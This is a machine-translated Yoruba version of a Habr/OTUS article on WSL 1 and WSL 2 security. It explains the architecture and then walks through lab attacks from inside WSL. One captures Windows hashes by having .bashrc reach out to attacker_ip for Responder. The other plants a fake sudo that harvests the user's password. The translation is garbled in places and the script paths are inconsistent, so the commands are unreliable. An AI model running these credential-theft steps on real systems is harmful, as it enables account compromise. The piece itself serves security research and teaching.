WSL adanwo. Apa 1

Hello, habr! OTUS ṣe ifilọlẹ ṣiṣan dajudaju tuntun ni Oṣu Kẹwa "Aabo Linux". Ni ifojusọna ti ibẹrẹ ikẹkọ, a n pin pẹlu rẹ nkan kan ti ọkan ninu awọn olukọ wa, Alexander Kolesnikov kọ.

WSL adanwo. Apa 1

Ni ọdun 2016, Microsoft ṣafihan imọ-ẹrọ WSL tuntun si agbegbe IT (Winu Subsystem fun Linux), eyiti o jẹ ki o ṣee ṣe ni ọjọ iwaju lati ṣọkan awọn oludije aibikita tẹlẹ ti o ja fun olokiki laarin awọn arinrin ati awọn olumulo OS ti ilọsiwaju: Windows ati Linux. Imọ-ẹrọ yii jẹ ki o ṣee ṣe lati lo awọn irinṣẹ Linux OS ni agbegbe Windows kan laisi iwulo lati ṣiṣẹ Linux, fun apẹẹrẹ, lilo Multi-boot. Lori Habr o le wa nọmba nla ti awọn nkan ti n ṣapejuwe awọn anfani ti lilo WSL. Sibẹsibẹ, laanu, ni akoko ẹda nkan yii, ko si awọn iwadii lori aabo iru symbiosis ti awọn ọna ṣiṣe ti a rii lori orisun yii. Ifiweranṣẹ yii yoo jẹ igbiyanju lati ṣatunṣe eyi. Nkan naa yoo sọrọ nipa awọn ẹya ti WSL 1 ati 2 faaji ati ṣayẹwo ọpọlọpọ awọn apẹẹrẹ ti awọn ikọlu lori awọn eto nipa lilo awọn imọ-ẹrọ wọnyi. A pin nkan naa si awọn ẹya meji. Ni igba akọkọ ti yoo pese awọn akọkọ o tumq si kolu awọn ọna lati Lainos ati Windows. Nkan keji yoo kan siseto agbegbe idanwo kan ati ẹda awọn ikọlu naa.

WSL 1: ayaworan awọn ẹya ara ẹrọ

Fun besomi deede julọ sinu awọn ọran aabo WSL, o jẹ dandan lati pinnu awọn nuances akọkọ ti o ni nkan ṣe pẹlu imuse ti eto-ipilẹ. Ọkan ninu awọn iṣẹ ṣiṣe olumulo akọkọ ti o yanju nipasẹ WSL ni agbara lati ṣiṣẹ nipasẹ ebute Linux kan lori ogun ti n ṣiṣẹ Windows OS. Paapaa, ibaramu ti a nṣe jẹ abinibi ti o jẹ pe Linux executables (ELFs) le ṣiṣẹ taara lori eto Windows kan. Lati ṣaṣeyọri awọn ibi-afẹde wọnyi, eto abẹlẹ pataki kan ni a ṣẹda ninu Windows 10 ti o fun ọ laaye lati ṣiṣẹ awọn ohun elo Linux nipa lilo eto awọn ipe eto kan pato - nitorinaa, a ti gbiyanju lati ya aworan ti awọn syscals Linux kan lori Windows. Eyi ni imuse nipa ti ara nipasẹ fifi awọn awakọ titun kun ati ọna kika ilana tuntun kan. Ni oju-iṣọ ile naa dabi eyi:

WSL adanwo. Apa 1

Ni otitọ, ibaraenisepo pẹlu ẹrọ ṣiṣe Linux ti ṣeto nipasẹ ọpọlọpọ awọn modulu ekuro ati iru ilana pataki kan - pico. Lati aworan ti o wa loke, o le rii pe ilana ti nṣiṣẹ lori apẹẹrẹ Linux lori agbalejo gbọdọ jẹ abinibi ati pe o gbọdọ lo awọn orisun kanna gẹgẹbi awọn ohun elo Windows deede. Ṣugbọn bawo ni lati ṣaṣeyọri eyi? Ni ise agbese Drawbridge Awọn imọran ilana fun Windows ni idagbasoke ti o pese gbogbo awọn paati pataki ti ẹrọ ṣiṣe (da lori ẹya rẹ) lati ṣiṣẹ ohun elo OS miiran.

Ṣe akiyesi pe abstraction ti a dabaa jẹ ki o ko ni idojukọ lori ẹrọ iṣẹ (ni pataki, Windows), ninu eyiti ilana ti OS miiran ti ṣe ifilọlẹ, ati daba ọna gbogbogbo.

Nitorinaa, ohun elo eyikeyi ninu ilana pico le ṣiṣẹ laisi iyi si ekuro Windows:

  1. Awọn iṣoro ibamu ati itumọ awọn ipe eto gbọdọ wa ni ipinnu nipasẹ awọn olupese pataki;
  2. Iṣakoso wiwọle gbọdọ ṣee ṣe nipasẹ Atẹle Aabo. Atẹle naa wa ninu ekuro ati nitorinaa Windows nilo igbesoke ni irisi awakọ tuntun ti o le ṣe bi olupese fun iru awọn ilana. Ilana pico Afọwọkọ ti gbekalẹ ni ọna kika ni isalẹ:

WSL adanwo. Apa 1

Niwọn igba ti eto faili Linux nlo faili ifarabalẹ ati awọn orukọ ilana, awọn oriṣi 2 ti awọn ọna ṣiṣe faili ni a ṣafikun si Windows lati ṣiṣẹ pẹlu WSL - VolFS ati DriveFS. VolFS jẹ imuse ti eto faili Linux, DriveFS jẹ eto faili ti o ṣiṣẹ ni ibamu si awọn ofin Windows, ṣugbọn o ni agbara lati yan ifamọ ọran.

WSL 2

WSL 1 ni nọmba awọn idiwọn ti ko gba laaye lati lo lati yanju awọn iṣẹ ṣiṣe ti o pọju: fun apẹẹrẹ, ko ni agbara lati ṣiṣe awọn ohun elo Linux 32-bit, ati pe ko ṣee ṣe lati lo awọn awakọ ẹrọ. Nitorinaa, ni ọdun 2020, WSL 2 ti tu silẹ, eyiti o yipada ọna lati kọ eto-iṣẹ abẹlẹ naa. WSL 2 jẹ ẹrọ foju iṣapeye ti o baamu awọn abuda agbara orisun ti WSL 1. Bayi, da lori awọn iṣoro ti o yanju nipasẹ olumulo Windows OS, o le yan ẹya ti a beere fun ti eto ipilẹ Linux. Lati dinku awọn ailagbara ti o ṣeeṣe, WSL 2 ti ṣe imuse ti o da lori Hyper-V ni Windows 10. Ni fọọmu yii, Windows ni agbara lati ṣiṣẹ ekuro ẹrọ ṣiṣe Linux ni ipinya. O tọ lati ranti pe ẹya 1 ti WSL ni a ṣe bi ẹya beta ti o yẹ lati ṣafihan itọsọna ti idagbasoke Windows ni agbegbe yii, nitorinaa iyipada si Hyper-V jẹ eyiti ko ṣeeṣe. Itumọ ti o kẹhin dabi eyi:

WSL adanwo. Apa 1

Ninu ẹya yii, awọn ekuro Windows ati Lainos ni awọn orisun tiwọn ati ikorita wa nikan ninu eto faili, ṣugbọn ikorita yii ko pari. Ibaraṣepọ laarin awọn ọna ṣiṣe faili ni a ṣe nipasẹ fifipapọ olupin alabara ti o ṣiṣẹ ni lilo ilana 9P.

Loni Microsoft n pese agbara lati yipada laarin WSL 1 ati WSL 2. Awọn ẹya mejeeji wa fun lilo.

WSL Aabo

Ni akoko yii, awọn iṣẹ lọpọlọpọ lo wa ti n ṣapejuwe diẹ ninu awọn isunmọ si lilo awọn irinṣẹ OS ti o tọ lati kọlu ibaraẹnisọrọ laarin awọn eto abẹlẹ. A yoo lo awọn iwe afọwọkọ wọn lati ṣayẹwo ibaramu ti awọn ikọlu ni akoko kikọ. Akojọ gbogbogbo ti awọn ikọlu ati awọn oju iṣẹlẹ:

1. Ṣiṣe eto eto faili: awọn ẹtọ wiwọle, wiwa awọn ilana ti a pin / awọn ilana paṣipaarọ data.

Iwadi ni a ṣe lati pinnu irufin awọn ofin wiwọle lati Linux FS-> Windows FS, Windows FS-> Linux FS. Iwadi ti ṣe afihan agbara lati yipada faili ti a fun laarin OS afojusun. Awọn igbiyanju tun ṣe lati paarọ, ṣẹda awọn ẹda-ẹda ati paarẹ apakan awọn ọna ṣiṣe faili.

Oju iṣẹlẹ:

  • A. Ikọlu lati ẹrọ ṣiṣe Windows - iyipada ti awọn faili lati / ati bẹbẹ lọ ti Linux OS.
  • B. Ikọlu lati ẹrọ ṣiṣe Linux - iyipada ti awọn faili ni awọn ilana: C:Windows, C:Program Files, C:Users<User>

2. Imuse ti awọn nẹtiwọki akopọ.

Iwadi naa ni a ṣe ni lilo awọn apẹẹrẹ ti awọn ikọlu lati ẹrọ ṣiṣe Linux lori Windows. Awọn ẹya ara ẹrọ ti akopọ nẹtiwọọki ni a lo, eyun, awọn ọna ṣiṣe ijẹrisi lori ọpọlọpọ awọn orisun.

Oju iṣẹlẹ:

  • Šiši wiwọle si ibudo ti o ti wa ni ti tẹdo lori a Windows eto
  • Nsii ibudo laisi awọn ẹtọ ti o yẹ
  • Nṣiṣẹ ikarahun yiyipada lilo faili elf lori ẹrọ ṣiṣe Windows.

3. Nọmbafoonu ifilọlẹ ti awọn ilana sọfitiwia irira nipa lilo eto ipilẹ WSL.

Iwadi na da lori otitọ ti o rọrun - awọn eto aabo aabo ko le ṣe idiwọ awọn iṣẹlẹ ni ekuro miiran ti n ṣiṣẹ nipa lilo olupese ti o tọ lati ẹrọ ṣiṣe ni ọran WSL 1. Ninu ọran WSL 2, ko si ọna lati wo awọn iṣẹlẹ ti o waye. ni lọtọ ekuro laarin lightweight foju ẹrọ.

Oju iṣẹlẹ:

1) Lọlẹ awọn ohun elo fun latọna wiwọle si awọn eto ati ki o wo awọn iṣẹlẹ ibuwolu.

Awọn idanwo WSL 1: interception hash (Windows)

Nikẹhin a de si apakan iṣe. Ni akọkọ, o nilo lati ṣeto agbegbe idanwo naa. Gbogbo awọn adanwo yoo ṣee ṣe lori ibujoko pẹlu Windows 10 2004 ti fi sori ẹrọ. Aworan Ubuntu 18.04 ni a yan bi aworan ẹrọ ṣiṣe fun WSL. A yan aworan naa laileto, ati pe eyikeyi miiran yoo ṣiṣẹ kanna. Awọn aṣẹ fun iṣeto imurasilẹ:

O gbọdọ kọkọ ṣe ifilọlẹ powershell.exe bi alakoso.

Fun WSL 1 o nilo lati ṣiṣe awọn aṣẹ:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Lẹhin atunbere iduro, o le pe aṣẹ bash. Ti ohun gbogbo ba ṣiṣẹ ni deede, iwọ yoo rii iṣẹjade ti o jọra si eyi ninu console Windows:

    WSL adanwo. Apa 1

    A yoo lo pinpin Kali Linux bi ẹrọ ikọlu; gbogbo awọn ero gbọdọ wa lori nẹtiwọọki agbegbe kanna.

    Jẹ ki a ro pe a ni iraye si ailagbara si WSL lori ẹrọ Windows kan. Jẹ ki a gbiyanju lati kọlu ẹrọ ṣiṣe Linux nipa pipe aṣẹ kan lati Lainos. Lati ṣe ikọlu naa, a yoo lo ilana adaṣe adaṣe ti o rọrun - a yoo ṣafikun iwe afọwọkọ wa fun ipaniyan ni agbegbe Linux. Lati ṣe eyi o nilo lati yi faili pada .bashrc.

    Lori ẹrọ pẹlu WSL a ṣiṣẹ:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Lori ẹrọ Kali Linux a nṣiṣẹ:

    1. Responder -I eth0 -rdvw

    Lori ẹrọ Windows kan, jẹ ki a ṣe ifilọlẹ bash.

    A n duro de abajade lori ẹrọ Kali Linux:

    WSL adanwo. Apa 1

    Nitorinaa, a gba awọn hashes olumulo Windows nipasẹ eto ipilẹ WSL nipa ṣiṣe pipaṣẹ lori eto Linux.

    Awọn idanwo WSL 1: gbigba ọrọ igbaniwọle olumulo (Linux OS)

    Jẹ ki a ṣe idanwo kan diẹ sii. Lakoko ayẹwo yii a yoo ṣafikun si faili naa .bashrc awọn ofin pupọ lati le gba ọrọ igbaniwọle olumulo ẹrọ ṣiṣe Linux.

    Jẹ ki a ṣe ifilọlẹ bash ki o tẹ awọn aṣẹ sii:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Lati pari ikọlu naa ni aṣeyọri, olumulo Sam nilo lati pe sudo ni ebute Linux. Lẹhin eyi, ọrọ igbaniwọle olumulo Linux OS yoo wa ninu faili naa pass.txt:

    WSL adanwo. Apa 1

    Awọn imuse ti awọn ikọlu ni a fun fun alaye imọ-jinlẹ nikan.

    Apakan atẹle ti nkan naa yoo ṣapejuwe imuse ti ilana 9P, gbero ẹda ọlọjẹ kan fun ilana yii, ati tun ṣe ikọlu nipa lilo rẹ.

    Akojọ ti awọn litireso ti a lo

    WSL adanwo. Apa 1

    Ka siwaju

    orisun: www.habr.com

    Fi ọrọìwòye kun